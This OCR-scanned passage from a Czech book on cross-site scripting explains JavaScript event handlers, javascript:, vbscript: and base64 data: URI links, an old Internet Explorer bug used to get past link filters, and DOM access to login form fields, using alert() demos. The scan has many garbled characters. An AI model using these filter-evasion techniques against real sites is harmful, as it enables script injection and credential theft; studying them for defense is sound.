Pri vkladani dat do datového zdroje

P¥i scrolovani objektem

U time2 Behavior

Pfi oznaceni textu

P¥i zméné vybéru

P¥i zah&jeni oznacovani textu

Pokud rotujici text <marquee> zahaji smycku
P¥i pferuSeni nacitani stranky

stisknuti odesilajiciho tlac¢itka

P¥i zméné média v playlistu
uzavreni dokumentu
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Jak jiz bylo tedeno, vykonavaji se in-line skripty jako reakce na
urcitou akci. Tou muze byt napfiklad nacteni webové stranky, stisk tlacitka
na klavesnici nebo pfejeti kurzorem mysi nad urcitym objektem. VSechny
uvedené udalosti neni mozné pouzit u vSech HTML tagl. Kazdy element ma
pouze svou mnozinu udalosti, které se k nému vztahuji. Navic ne vSechny
z uvedenych atributd jsou plné podporovany v§emi prohlizeci.

Jiz jsem zminil, Ze u in-line skriptd nepouZivame pfi jejich zapisu
parového tagu <script>, ale umistujeme je jako atribut k jinému tagu.
Abychom explicitn¢ definovali, v jakém skriptovacim jazyku budeme in-line
skripty vkladat, zapisujeme do hlavicky HTML stranky meta tag
http-equiv="content-script-type". Podobn¢, jako jsme vynechavali tuto
definici u ostatnich zpuisobd vkladani skripti na stranky, je mozné, diky
implicitnimu oéekavani skript v jazyce JavaScript, tento meta tag vypustit
také v tomto ptipad€. Ukéazku in-line skriptu uvadim ve vypise 5.

Vypis 5 - pouZiti in-line skriptu

<html>
<head>
<meta http-equiv="content-script-type" content="text/javascript">
</head>

<body>
<p onmouseover="alert ('reakce')">
Zde ptrejed kurzorem pro vyvolani udalosti onmouseover
</p>
</body>
</html>

Bookmarklety (self-contained skripty)

Stejné, jako je mozné do adresniho fadku zapisovat adresy
protokolu HTTP (http://) nebo FTP (ftp://), je mozné zapsat do tohoto fadku
také direktivu javascript: nasledovanou jednotlivymi piikazy skriptu. Tyto
skripty oznaCujeme jako self-contained. Ukazku obsahu adresniho fadku,
ktery spousti kod JavaScriptu naleznete ve vypise 6.

Vypis 6 - ukazka spusténi skriptu pres address bar prohlizece

javascript: alert('prikaz 1'); alert('ptikaz 2');

Zapisovat kod JavaScriptu ruéné piimo do adresniho fadku ma ale
vyznam snad pouze b&hem ladéni webové stranky, kdy timto zplsobem
muzeme pristupovat k jednotlivym objektlim na strance a mtzeme tak Cist
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nebo ménit hodnoty jejich vlastnosti. Praktict&jsi vyuziti naSly takto
vkladané skripty v podob& bookmarkletii, neboli skriptl, které se ulozi stejné
jako adresa webové stranky mezi oblibené polozky, odkud mohou byt
pozdé&ji opétovné volany.

Ru¢ni vkladani skriptu do adresniho tadku nebo jeho vybér
z oblibenych polozek ale nejsou jedinymi moznostmi, jak takto vkladané
skripty spustit. Z hlediska XSS tutokt najdou nejvétsi uplatnéni skripty pro
adresni fadek jisté pfi spousténi pomoci odkazt. Odkazy, které z webovych
stranek bézné znate, nemusi totiz nutné vést pouze na dalsi webovou
stranku, ale mohou timto zptisobem slouzit pravé ke spusténi skriptu. Ptiklad
odkazu, jehoz cilem je spusténi skriptu, uvadim ve vypise 7.

Vypis 7 - Odkaz spoustéjici kéd JavaScriptu

<a href="javascript:alert ('ukazka')">0dkaz na JavaScript</a>

Nékdy se mizeme ve webovych aplikacich setkat s kontrolou
vkladanych odkazli na textové fetézce javascript: nebo pouze script. Jak
jsem vSak zminil jiz v uvodu, neni JavaScript jedinym skriptovacim
jazykem, ktery prohlizece podporuji. Mizeme tak proto stejné dobie vlozit
do adresniho fadku napiiklad kéd VBScriptu & jiného podporovaného
skriptovaciho jazyka. Piiklad odkazu z vypisu 7 vyuzivajici VBScript
uvadim ve vypise 8. V Internet Exploreru 6.0 navic existovala slabina®, ktera
umoziovala namisto vyrazu javascript: uvést naptiklad xxxxscript: nebo
javaxxxxx: a namisto vbscript: tfeba yyscript: nebo vbscriyy:. Vyuzitim
tohoto bugu bylo mozné obchazet nékteré filtry, kontrolujici vkladané
odkazy ve webovych aplikacich.

Vypis 8 - Odkaz spoustéjici kéd VBScriptu

<a href="vbscript:msgbox ('ukazka')">0dkaz na VBScript</a>

V prohlize¢ich od Mozilly a ¢im dal tim castéji také v jinych
prohlize¢ich existuje navic dals§i moznost pouziti odkazli ve tvaru DATA..
V téchto odkazech mizeme navic samotny cil odkazu zakdédovat pomoci
kodovaciho algoritmu Base64. Stejného vysledku, jako jsme doséahli
odkazem z vypisu 7, docilime i odkazem, ktery uvadim ve vypise 9.

! http://ha.ckers.org/blog/20070702/ie60-protocol-guessing/
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Obsazeny, okem necitelny text je fetézec <script>alert("ukdizka")<Iscript>
zakodovany algoritmem Base64. Této metodé se budu vice vénovat
Vv kapitolach vénovanych in-line skriptim, nebo injektazi skriptd pozdé&ji
v dal§im textu knihy.

Vypis 9 - Odkaz spoustéjici kéd JavaScriptu pomoci protokolu DATA:

<a href="
data:text/html;base64, PHNjcmlwdD5hbGVydCgidWvDoXprYSIpOzwvc2NyaXBOPg==">
Odkaz na JavaScript</a>

Ostatni moznosti vlozeni skriptu

Existuje jesté mnoho dalsich velmi specifickych moznosti, jak do
stranek kod JavaScriptu vlozit. Mize se jednat napifklad o Action Script
flashové aplikace, o ptepsani hlavicky b&hem pfesmérovani nebo o styly
CSS. O téchto specifickych piipadech, které muze uto¢nik vyuzit, se ale
zminim aZ béhem popisu konkrétnich postupt injektaze skriptii do obsahu
webovych stranek.

Spusténi JavaScriptu po naéteni obsahu stranky

V négkterych situacich, hlavné kdyZ potfebujeme prostfednictvim
JavaScriptu piistupovat k obsahu nactené webové stranky, nemusi byt
zadouci skutecnost, ze je kod JavaScriptu vykonan okamzité po jeho nacteni.
Hlavni divod je ten, Ze tak nemlzeme pfistupovat k objektim, které jesté
nebyly v dobé spusténi skriptu nacteny. JavaScript by totiz okamzité skongéil
s chybou. V takovém piipadé musime né&jakym zplsobem vykonani kodu
pozdrzet az do chvile, kdy je naéten cely obsah webové stranky.

Jako obvykle mame k dispozici nékolik moznosti. Pro vyvojate je
nejjednodussi prifadit skript atributu onload HTML tagu body. Pro uto¢nika
je pak nejsnadnéjsi ptifadit kod, ktery si pfeje po nacteni stranky spustit,
vlastnosti onload objektu window. O vlastnostech a metodach objekta si
blize povime hned v nasledujici kapitole. Nicméné ve chvili, kdy uto¢nik
zatidi spusténi svého kodu timto zplsobem, vyrusi vykonani skriptu, ktery
autor stranek pfifadil udalosti load v tagu body. Tim mohou stranky piijit
0 nékterou ze svych funkénosti, coz opét nemusi byt pro Gito¢nika zadouci.

Nejspravnéj$im feSenim je tedy vyuzit ke spusténi skriptu
posluchace udalosti. Ty totiz umoznuji pfifadit kazdé udalosti vice funkci
a utocniklv skript se tak vykona v potadi spolecné s ostatnimi legitimnimi
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funkcemi nactené stranky. Posluchaci udalosti se ovSem pfifazuji v riznych
prohlize¢ich rozdilné a kéd, ktery musime vlozit, je tim padem poné&kud
komplikovangjsi. VSechny uvedené moznosti uvadim ve vypise 10.

Vypis 10 - Rizné zpusoby odloZeni spusténi skriptu

Spusténi kédu pomoci udalosti onLoad v tagu body
<body onLoad="alert ('test');">
Spusténi kédu p i vlastnosti onload objektu window

window.onload = function() { alert("test"); }

Spusténi kédu prostrednictvim posluchact udalosti

if (window.addEventListener) {
window.addEventListener ("load", function() { alert("test"); },false);

}

else if (window.attachEvent) {
window.attachEvent ("onload", function() { alert("test"); });

}

else {
window.onload=function() { alert("test"); }

}
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DOM

Béhem XSS dtoku potrebuje JavaScript ¢asto pfistupovat
k objektim na webové strance. Ptidavat je nebo ubirat a ¢ist nebo ménit
hodnoty jejich vlastnosti. Pokud je naptiklad cilem utoéného skriptu na
webové strance precist z pfihlasovaciho formulafe zadavané jméno a heslo,
nebo pokud je jeho zamérem zcela automaticky vyplnit a odeslat né&jaky
formulaf, pak zcela jist¢ bude k jednotlivym polim formulafe ptistupovat na§
skript pravé skrze DOM. V podstaté je porozuméni dokumentovému objektu
dokumentu v co moZna nejvétsi mife hlavnim pfedpokladem pro psani
slozit&jSich skripti pro XSS ttok. Tomuto tématu se proto budu vénovat
daleko vice nez ostatnim. Stejné jako v ostatnich piipadech vSak nebudu
zabihat do pfiliSnych podrobnosti, protoze popsat podrobné celé toto téma,
je nad ramec této knihy. Doporuéit vam vSak mohu naptiklad pé&kny serial
DOM - objektovy model dokumentu od Jakuba Havla, ktery vysel na serveru
Zivé.cz".

DOM je zkratka z Document Object Model a je tfeba si uvédomit,
ze samotny JavaScript by nam bez né¢j nebyl moc platny. Jedna se totiz
0 API (Application Programming Interface), neboli programové rozhrani,
které umoznuje pfistupovat k jednotlivym objektim na strance pomoci
programovacich prostiedkt, mezi které patii i nas JavaScript. DOM definuje
natenou webovou stranku jako soubor objekti se stromovou strukturou.
Diagram 1, zndzorfiuje DOM rozvrZzeni webové stranky, ktera obsahuje
Vv hlaviéce titulek stranky a ve svém téle pak nadpis a formulaf se tfemi
vstupnimi prvky.

Jak je z diagramu patrné, jsou jednotlivé elementy webové stranky
ve stromové struktufe bud’to nadfazeny jinym objektim, jsou jinym
podtizeny nebo stoji na stejné Grovni. V praxi se Castéji uziva vyrazl, ze je
dany objekt rodi¢ovskym neboli mateiskym objektem podiizeného objektu,
je dceffinym objektem neboli ditétem, potomkem (children) nadfazeného
objektu, nebo Ze jde o sourozence (siblings), ktefi stoji na stejné urovni.
V diagramu 1 je tak napfiklad objekt Body matefskym objektem prvki H1
a FORM a soucasné je potomkem objektu HTML. Jednotlivé objekty INPUT
jsou v tomto piipadé sourozenci.

! http://www.zive.cz/autori/sc-44/default.aspx?pgnum=2&author=269
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‘ Diagram 1 - DOM rozvrZeni webové stranky

HTML
HEAD BODY

( imLe ] | HI1 ] | FO:QM )
I : ]

(_mwput ] ( NneuT ) [ INPUT

]

Ve vypise 11 naleznete zdrojovy kod webové stranky
s formulafem, jejiz rozvrzeni DOM bylo zobrazeno v diagramu 1. Na ném si
v nésledujicich ptikladech ukdzeme, jakym zpisobem mutzeme pfistupovat
k vlastnostem a metodam jednotlivych objektd. Nejdiive se ale jesté
zastavime u vysvétleni pojmu uzel DOM a roz$ifime si vySe uvedeny
diagram i o ostatni typy téchto uzld.

Vypis 11 - HTML kéd webové stranky s formuldarem

<html>
<head>
<title>PfihlaSovaci formulaf</title>
</head>
<body>
<hl>P¥ihlaSeni k webové sluzbé</hl>
<form id="formId" name="formName" method="get" action="logon.php">
Jméno:
<input type="text" id="jmenoId" name="jmenoName" value="">
Heslo:
<input type="password" id="hesloId" name="hesloName" value="">
<input type="submit" id="tlacId" name="tlacName" value="Prihlasit">
</form>
</body>
</html>

Jednotlivé elementy (tagy) webové stranky jsou hlavnimi uzly ve
stromové struktufe DOM a definuji rozvrzeni webové stranky. Tyto uzly
nazyvame uzly prvkii neboli element nodes. Ve vypisu 11 je tvofi tyto tagy:
html, head, body, h1, form a input. Kdyz se ov§em podivate pozorng, uvidite,
ze zdrojovy kod neni tvofen pouze samotnymi tagy. Uvniti kodu narazite
také na rtizné texty, které nejsou mezi znaky < a > uzavieny. Vsechny tyto
texty jsou také uzly v DOM, ale nalezi mezi textové uzly neboli text nodes.
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Ve vypisu 11 jsou textovymi uzly tyto fetézce: PrihlaSovaci formular,
Prihldseni k webové sluzbé, Iméno: a Heslo:. Z hlediska zpiisobu pfistupu
k jednotlivym prvkiim nenajdeme mezi uzly prvki a textovymi uzly velké
rozdily. Nutno vSak podotknout, Ze textové uzly nemohou mit své dalsi
potomky. Poslednim typem uzll jsou uzly atributii neboli attribute nodes.
Ty obsahuji veSkeré atributy, které popisuji samotné elementy webové
stranky. Ve vypise 11 jsou témito uzly tyto atributy: type, id, name, action
avalue. Uzly atributii nezapadaji do struktury DOM tak, jako ostatni typy
uzlt, ale jsou vzdy pfipojeny k nékterému z uzlt prvki. Z tohoto divodu se
k témto uzlim pfistupuje ponékud odlisnym zpiisobem.

Nesmim zapomenout zminit jesté jeden dulezity uzel, kterym je
uzel dokumentu. Ten je pfitomen v jakémkoliv dokumentu, ktery je nahran
webovym prohlizeCem a stoji vZzdy na vrcholu celé hierarchie stromové
struktury DOM webové stranky. Objekt document ma nékolik dilezitych
vlastnosti a metod, které budete Casto ve svych skriptech vyuZzivat.

Pokud nyni rozsifime nas diagram s DOM rozvrzenim dokumentu
i 0 nové popsané uzly, ziskdme nédkres zobrazeny v diagramu 2.

Diagram 2 - DOM rozvrZeni dokumentu se vsemi typy uzlu

Pro lepsi predstavu o stromové struktufe dokumentu mizete vyuzit
nékterého z mnoha volné dostupnych programi, které byly za timto Gcelem
vytvofeny. Vasi pozornosti doporucuji naptiklad doplitky pro FireFox:
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DOM Inspector! nebo Firebug?, které vam o struktufe aktualng nacteného
dokumentu podaji podrobné informace.

Jiz jsme se seznamili se skute¢nosti, ze JavaScript je objektové
orientovanym jazykem. Zaroven jiz také vime, Ze DOM je rozhrani, které
nam umoziiuje k jednotlivym objektim pfistupovat. Jak je u objektové
orientovanych jazykl zvykem, pfistupuje se k objektim prostiednictvim
jejich metod a vlastnosti. Metodami objektu pfitom rozumime funkce
ptidruzené k objektu a vlastnostmi proménné, jejichz hodnoty mizeme cist
nebo je zapisovat. Vlastnosti objektu pfitom mize byt také jeho dcefiny
objekt. Abychom ovsem mohli nékteré z dostupnych metod objektu vyuZit,
nebo abychom mohli nastavit ¢ preist urCitou jeho vlastnost, musime
samotny objekt nejprve zaméfit. Diive nez si ukdzeme, jak toho mizeme
doséhnout, musime si pro lepsi pochopeni stromovou strukturu rozsitit jesté
o dalsi objekty, které se v ni nachazeji a zatim jsem se o nich nezminil.
Rozsifena stromova struktura je znazornéna v diagramu 3.

Diagram 3 - stromova struktura s objekty browseru, HTML a JavaScriptu

[Window] [Number] [Boolean] [Array] [ Date ] [ Math ] [String] [RegExp]

[ histlory ][ navi;ator ][ Iocaltion ][ fra!nes ][ docu:ment ]
[ tatl)le ][ anclhor ][ Ia)!er ][ ap:let ][ im:ge ][ arlea ][ Iirl1k ][ furl‘m ]

D o L G

[hidden ][ text ][textarea][password][checkbox][ radio ]

Objekty Number, Boolean, Array, Date, Math, String a RegExp
uvedené ve stromové struktufe, jsou zabudované objekty JavaScriptu, které
predstavuji zakladni typy dat a obsahuji metody a vlastnosti pro praci s nimi.
Objekty window, history, location a navigator jsou objekty webového

! https://developer.mozilla.org/En/DOM_Inspector
2 http://getfirebug.com/
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browseru. Poslednim typem objektd jsou objekty HTML ( v diagramu 3
nejsou pro zjednoduseni uvedeny vSechny), které zastupuji jednotlivé prvky
webové stranky. Struktura DOM objekti prohlizece a dokumentu se vytvari
beéhem nacitani webové stranky.

Nyni se na chvili pozastavime u nejdtlezitéjsich objekti DOM. Na
samém vrcholu hierarchie stoji objekt window, ktery zastupuje okno
prohlize€e a poskytuje mnoho vyznamnych vlastnosti, véetné samotného
dokumentu HTML a par dulezitych metod, z nichZ budeme béhem testovani
asi nejcast&ji vyuzivat metodu alert. Ta slouzi k zobrazeni vystrazného okna
a pii hledani XSS zranitelnosti na ni budeme demonstrovat Uspé$né
provedeni skriptu. Opomenout nemtizeme ani metody Casovani, které pro
nas budou také nesmirn¢ dulezité. Z vlastnosti objektu window vyuZijeme
v dalsich kapitolach napiiklad vlastnost opener, ktera vraci odkaz na okno,
které aktualni okno prohlizece vytvofilo. Vzhledem k tomu, Zze se objekt
window nachazi na samém vrcholu hierarchie a kromé& vestavénych, lezi
vSechny ostatni objekty ve stromové struktufe nize, neni nutné nazev tohoto
objektu uvadét. Mizeme tak s klidnym svédomim uvadét zkracené
alert("test"); namisto celého zapisu window.alert("'test");

Dalsim objektem o kterém se zde samostatné zminim, je objekt
document. Ten zastupuje naéteny HTML dokument a podobné jako objekt
window zvefejiiuje metody a vlastnosti, které budeme asto vyuZzivat. Pro
naSe potieby budou t€mi nejpouzivanéj$imi vlastnostmi cookie, vracejici
nazvy a hodnoty vSech cookies platnych pro aktualni dokument, referrer
obsahujici adresu stranky, z niZ jsme pfisli a URL nebo location obsahujici
celou URL adresu nacteného dokumentu. Mezi metodami pak nalezneme
getElementByld, getElementsByName a getElementsByTagName, které
podle zadanych kritérii vraci prvek nebo seznam prvkll webové stranky.
Témto metodam se budu podrobnéji vénovat v nasledujicim textu. Nejprve
si ov8em piehledné vypiSeme metody a vlastnosti vestavénych objektd
JavaScriptu a webového browseru v tabulkach 3-15.

‘ Tabulka 3 - Objekt Number

Metody

toExponential () Zkonvertuje &islo do exponencidlniho tvaru

toFixed () Naformatuje &islo, aby obsahovalo x desetinych mist
toPrecision () Naformatuje ¢islo na stanovenou délku

toString () Pfevede ¢islo na text

Vlastnosti

MAX_VALUE Nejvétsi ¢islo pouzitelné v JavaScriptu

MIN_VALUE Nejmensi ¢islo pouzitelné v JavaScriptu

NEGATIVE INFINITY Podtedeni limitu

POSITIVE_ INFINITY Pretedeni limitu
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Tabulka 4 - Objekt String

Metody
anchor ()
big ()

blink ()
bold ()
charAt ()
charCodeAt ()
concat ()
fixed ()
fontcolor ()
fontsize ()
fromCharCode ()
indexOf ()
italics ()
lastIndefOf ()
link ()
slice()
small ()
split ()
strike ()

sub ()

substr ()
substring ()
sup ()
toLowerCase ()
toString ()
toUpperCase ()

Vlastnosti
length

Vlozi HTML kotvu

Obklopi fetézec HTML tagy <BIG>

Obklopi fretézec HTML tagy <BLINK>

Obklopi retézec HTML tagy <B>

Vrati z fetézce znak na zadané pozici

Vrati Unicode hodnotu znaku

Spoji vice fetézcl do jednoho

Obklopi fretézec HTML tagy <TT>

Nastavi barvu pisma pfidanim HTML tagu <FONT>
Nastavi velikost pisma p¥idanim HTML tagl <FONT>
Vrati fetézec pfevedeny ze zadanych hodnot Unicode
Vrati pozici podtretézce v retézci

Obklopi retézec HTML tagy <I>

Vrati pozici posledniho vyskytu podfetézce v fetézci
Vytvofi ze zadaného fetézce odkaz

Vrati zadanou ¢ast feté&zce od/do

Obklopi retézec HTML tagy <SMALL>

Rozdé&li reté&zec na pole freté&zcu podle zadaného oddé&lovace
Obklopi retézec HTML tagy <STRIKE>

Obklopi retézec HTML tagy <SUB>

Vrati ¢ast fetézce od zadané pozice, douhou x znakl
Vrati zadanou ¢ast fetézce od/do

Obklopi retézec HTML tagy <SUP>

Pfevede fetézec na malad pismena

Vrati obsah objektu jako string

Prevede Fetézec na velkd pismena

Vrati pocéet znakl v Fetézci

Tabulka 5 - Objekt Array

Metody

concat ()
join ()
pop ()
push ()
reverse ()
shift ()
slice ()
sort ()
splice ()
toString ()
unshift ()

Vlastnosti
length

Spoji vice poli dohromady

Prevede pole na textovy fetézec se zvolenymi oddélovaci
Odebere z pole posledni prvek

P*¥idad na konec pole jeden nebo vice prvka

Reversuje v poli pofradi prvka

Odebere z pole prvni prvek

Vrati zadanou c¢ast pole

Seradi prvky pole

Odstrani x prvka z pole a prida nové prvky

Vrati textovy fetézec s prvky pole oddélenymi carkou
Pfida na zacatek pole jeden nebo vice prvki

Vrati pocet prvkld pole

Tabulka 6 - Objekt Date

Metody
getDate ()
getDay ()
getFullYear ()
getHours ()

getMilisecounds ()

getMinutes ()
getMounth

Vrati pofadi dne v mésici

Vrati poradi dne v tydnu

Vrati rok ve Ctyfmistném formatu
Vrati hodiny

Vrati milisekundy

Vrati minuty

Vrati mésic
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getSeconds ()
getTime ()
setDate ()
setDay ()
setFullYear ()
setHours ()
setMilisecounds ()
setMinutes ()
setMounth
setSeconds ()
setTime ()

Vrati sekundy

Vrati pocet milisekund od data 1.1.1970
Nastavi pofadi dne v mésici

Nastavi pofadi dne v tydnu

Nastavi rok ve ¢ty¥mistném formatu
Nastavi hodiny

Nastavi milisekundy

Nastavi minuty

Nastavi mésic

Nastavi sekundy

Nastavi pocet milisekund od data 1.1.1970

Tabulka 7 - Objekt RegExp

Metody
compile ()
exec ()
test ()
Vlastnosti
global
ignoreCase
lastIndex
multiline
source

Zkompiluje reguldrni vyraz
Vrati prvni nalez odpovidajiciho fetézce
Vtati, zda byla dosaZena shoda

Udaj uréujici, zda je pouzit modifikator g
Udaj urdujici, zda je pouzit modifikator i
Vradti pozici startu ndsledujiciho vyhledavéani
Udaj uréujici, zda je pouzit modifikator m
Obsah regularniho vyrazu

Tabulka 8 - Objekt Math

Metody

abs ()
acon ()
asin ()
atan ()
atan2 ()
ceil()
cos ()
exp ()
floor ()
log ()
max ()
min ()
pow ()
random ()
round ()
sin()
sqrt ()
tan ()

Vlastnosti

E
LN10
LN2
LOGLOE
LOG2E
PI
SORT1_2
SQORT2

Vypo&itd absolutni hodnotu

Vypocita arc cos

Vypo¢itad arc sin

Vypo&itd arc tg

Vypocita thel o osy x k zadanému bodu
Zaokrohleni nahoru

VypoCité cos

Vypocéita x-tou mocninu e

zZaokrouhleni doll

Vypo&itd p¥irozeny logaritmus

Vrati vétsi z hodnot

Vrati mensi z hodnot

Vypoéte x-tou mocninu ¢&isla y

Vrati pseudondhodné ¢éislo
Zaokrouhleni ¢isla k nejbliZSimu celému
Vypo¢itad sin

Vypocéita druhou mocninu éisla
Vypocita tg

Matematicka konstanta
Matematicka konstanta
Matematickd konstanta
Matematicka konstanta
Matematicka konstanta
Matematickd konstanta
Matematicka konstanta
Matematickd konstanta
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Tabulka 9 - Objekt event

Vlastnosti
altKey
button
clientX
clienty
ctrlKey
keyCode
returnvValue
screenX
screenY
shiftKey
type

Udaj,
Gdaj,

zda je stisknuta klavesa ALT
které tlac¢itko my3i je stlacené

Sotadnice x kurzoru my3i vztaZend k plo3e prohliZecde
Sofadnice y kurzoru my$i vztaZend k ploSe prohliZece

Gdaj,

zda je stisknuta klavesa CTRL

Kéd stisknuté klavesy

Navratova hodnota

Sotadnice x kurzoru my3i vztaZend k plo3e obrazovky
Sotadnice y kurzoru my3i vztaZend k plo3e obrazovky

Udaj,

zda je stisknuta klavesa SHIFT

Typ nastalé udalosti

Tabulka 10 - Objekt history

Metody
back ()
forward ()
go ()
Vlastnosti
length

Vykond ndvrat na pfedeSlou navstivenou strénku
Vykond pfesun na ndsledujici navstivenou strénku
Presun na zadanou stranku z historie

Pocet

adres uloZenych v historii

Tabulka 11 - Objekt location

Metody
reload ()
replace ()
Vlastnosti
hash
host
hostname
href
pathname
port
protokol
search

Opétovné nacte aktudlni dokument

Nacte

novy dokument

Cast URL adresy za znakem #

C4st URL adresy speifikujici ndzev hostitele a port
Cast URL adresy speifikujici nézev hostitele
Kompletni URL adresa

C4st URL adresy specifikujici cestu k dokumentu
Cast URL adresy specifikujici komunikaéni port

C4st URL adresy specifikujici protokol

Cast URL adresy za znakem ?

Tabulka 12 - Objekt navigator

Metody
javaEnabled ()
Vlastnosti

appCodeName
appMinorVersion
appName
appVersion
browserLanguage
cookieEnabled
cpuClass

onLine

platform
systemLanguage
userAgent
userLanguage

Udai,

zda je podporovéna Java

Kédovy nazev webového browseru
Subverze webového browseru

Nazev
Verze
Jazyk
Udai,
Ttida
Udai,
Nazev
Jazyk

webového browseru

webového browseru

webového browseru

zda je povoleno ukladani cookies

procesoru

zda je prohliZe¢ v reZimu online nebo offline
operac¢niho systému

operac¢niho systému

Kédové oznaceni webového browseru
Uzivatelsky jazyk operacéniho systému
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Tabulka 13 - Objekt screen

Vlastnosti

availHeight Vyska pracovni plochy 0OS (px)
availWidth Si¥ka pracovni plochy 0S (px)
colorDepth Barevné rozliSeni

fontSmoothingEnabled Udaj, zda je zapnuté vyhlazovani fonth
height Vyska rozliSeni obrazovky (px)

width Si¥ka rozliseni obrazovky (px)

Tabulka 14 - Objekt window

Metody

alert () Zobrazi vystrazné okno se zadanym textem

blur () Odebere oknu aktivitu

clearInterval () Vymaze casovy interval nastaveny pomoci setInterval
clearTimeout () Vymaze cas definovany pomoci setTimeout

close() Zavie okno webového browseru

confirm() Zobrazi vstupni dialogové okno se zadanym textem
focus () Nastavi okno jako jako aktivni

moveBy () Posune oknem o x, y pixeld

moveTo () Presune okno na x, z pozici

open () Otevie nové okno ve webovém browseru

print () OdesSle obsah okna k tisku

prompt () Zobrazi potvrzovaci dialogové okno se zadanym textem
resizeBy () Zméni velikost okna o x, y pixell

resizeTo () Nastavi oknu rozméry x, y

scrollBy () Odskroluje oknem o x, y pixell

scrollTo () Odskeoluje okno na x,y pozici

setInterval () Nastaveni intervalu pro opakované vyvolani udélosti
setTimeout () Nastaveni c¢asové prodlevy do vyvolani udalosti
Vlastnosti

Closed Udaj sd&lujici zda bylo okno zav¥eno

defaultStatus Defultni text stavového radku

length Pocet ramct v okné

name Nazev okna

offscreenBuffering Udaj, zda je prekreslovani okna i mimo obrazovku
opener Odkaz na okno, které vyvolalo otevfeni aktudlniho okna
parent Odkaz na okno, které je rodicovské pro ramce

self Odkaz na aktualni okno

status Text ve stavovém radku

top Nejvrchnéjsi okno webového browseru

Tabulka 15 - Objekt document

Metody
close () Uzavie komunikaéni kanadl otev¥eny metodou open ()
getElementById () Vrati odkaz na prvni objekt se zadanym ID

getElementsByName () Vrati pole prvka zadaného jména
getElementsByTagName () Vrati pole vSech prvka se zadanym tagem

open () Otevre komunikacéni kanadl pro metody write() a writeln()
write () ZapiSe data do obsahu dokumentu

writeln () ZapiSe data do obsahu dokumentu a pfejde na novy Fadek
Vlastnosti

alinkColor Barva aktivovaného odkazu

allfl] Seznam vSech objektd v dokumentu

anchors[] Seznam v3ech kotev v dokumentu

bgColor Barva na pozadi dokumentu

charset Kédovani dokumentu
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cookie Cookie spojenad s dokumentem

fgColor Barva textu v dokumentu

forms[] Seznam v3ech formuldfu v dokumentu
images|[] Seznam v3ech obrazka v dokumentu
lastModified Posledni zmé&na dokumentu

linkColor Barva nenavstivenych odkazl

links[] Seznam v3ech odkazli v dokumentu
location URL aktudlniho dokumentu

refferer URL dokumentu, ze kterého jsme prisli
styleSheets|[] Seznam v3ech styld v dokumentu

itdicle Titulek dokumentu

URL URL aktudlniho dokumentu

URLUnencoded URL aktudlniho dokumentu bez URL kédovani
vlinkColor Barva navitivenych odkazt

objektil, miizete navitivit naptiklad webovou stranku w3school.com®.

K vlastnostem a metodam jednotlivych objektl se pfistupuje, jak
je u objektové orientovanych jazykt zvykem, prostfednictvim teCkové
notace. To znamend, Ze musime vzdy (s vyjimkou objektu window) pied
nazvem metody nebo vlastnosti uvést i ndzev objektu, ke kterému se dana
metoda nebo vlastnost vaze.

Nyni uz se kone¢né dostdvam k popisu moznosti, kterymi mtiizeme
pfistoupit ke konkrétnimu objektu v HTML dokumentu. U vSech metod si
pomizeme dokumentem obsahujicim formulaf pro zadani jména a hesla,
jehoz kéd byl uveden ve vypise 11. Na ném budu jednotlivé moznosti
demonstrovat piistupem k obsahu pole pro zadani jména.

Zacneme zpusobem, ktery nejvice odpovida informacim v textu,
ktery jsem o DOM zatim napsal. Totiz ptistupu pomoci teckové notace, pii
kterém k nasemu prvku sestoupime celou stromovou strukturou dokumentu.
Jesté si feknéme, Ze objekt document vraci kolekce vSech formulait
v dokumentu prostiednictvim vlastnosti forms a formulaf vraci podobné
kolekeci vSech svych prvka skrze vlastnost elements. Samotny input pro
zadani jména ma pak vlastnost value, ktera ukazuje na hodnotu zadanou
v tomto poli. Vsimnéte si, ze v seznamu prvki, které nam vrati vlastnosti
forms a elements, se na jednotlivé prvky odkazujeme bud’ pomoci jejich
indexu v poli prvki, nebo prostiednictvim jejich konkrétniho jména. Pii
odkazovani pomoci indexu je tieba si uvédomit, ze ¢islovani prvka probiha
od nuly. To v naSem piikladé znamend, Ze prvni formulat dokumentu (vic
jich v piikladu nemame) nalezneme pod indexem 0 a input pro zadani jména
je ve formulafi také na prvnim misté a proto je jeho index rovnéz 0. Ve

! http://iwww.w3schools.com/jsref/
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vypisu 12 uvadim rtizné varianty, které umozni piecist nebo nastavit obsah
pole naseho formulate. Jednotlivé zptisoby jsou ekvivalentni a je proto zcela
jedno, ktery z nich pouzijete.

Vypis 12 - Pristoupeni k elementu pomoci te¢kového zdpisu v JavaScriptu

Rovnocenné mozZnosti precteni obsahu pole do proménné jmeno
var jmeno
var jmeno
var jmeno
var jmeno
var jmeno
var jmeno

window.document.forms[0] .elements[0] .value;

document. forms [0] .elements[0] .value;
window.document.forms['formName'] .elements['jmenoName'].value;
document.forms['formName'] .elements['jmenoName'].value;
window.document.formName.jmenoName.value;
formName . jmenoName .value;

Rovi psdni hodnoty z proménné jmeno do pole formulare
window.document.forms[0] .elements[0] .value = jmeno;

document.forms[0] .elements[0] .value = jmeno;
window.document.forms['formName'].elements['jmenoName'].value = jmeno;
document.forms['formName'].elements['jmenoName'].value = jmeno;
window.document.formName.jmenoName.value = jmeno;

formName. jmenoName.value = jmeno;

Protoze by byl zplsob teckového piistupu k objektim, zvlasté
v piipadé slozitéjsiho dokumentu, skrz celou stromovou strukturu pro
praktické pouziti ponékud krkolomny, existuji jesté dalsi zptisoby, pomoci
kterych mlzeme pfistupovat k jednotlivym objektim bez explicitniho
uvedeni celé cesty. Jedna se napiiklad 0 pouziti metody getElementByld
objektu document nebo metody getElementsByTagName, ktera je metodou
vSech uzli prvkd. Prvni z téchto metod vraci ukazatel na konkrétni element
ve formé objektu, ke kterému je nasledné mozné ptistupovat. Druhd metoda
pak vraci pole elementll, jez jsou reprezentovana zadanym tagem, a které
lezi v hierarchii nize, nez prvek, nad nimz byla tato metoda volana. K témto
objektim se pak musi pfistupovat skrz jejich index. VSimnéte si také pouziti
slov getElement a getElements v nazvech téchto metod, které napovidaji, Ze
jde ve druhém piipadé o mnozné ¢islo a bude nam tedy vraceno pravé pole
objektt, narozdil od prvniho pfipadu, kdy se vraci skute¢né pouze jeden
jediny objekt. Ukazky obou téchto metod naleznete ve vypisu 13.

Vypis 13 - PouZiti metod getElementbyld a getElementsbyTagName

Rovnocenné moznosti precteni obsahu pole do proménné jmeno

var jmeno = document.getElementById("jmenoId").value;

var jmeno = document.getElementsByTagName ("input") [0].value;

var jmeno = document.getElementsByTagName ("input") ["jmenoName"] .value;
Ro 3 Znosti zap i hodnoty z proménné jmeno do pole formulare

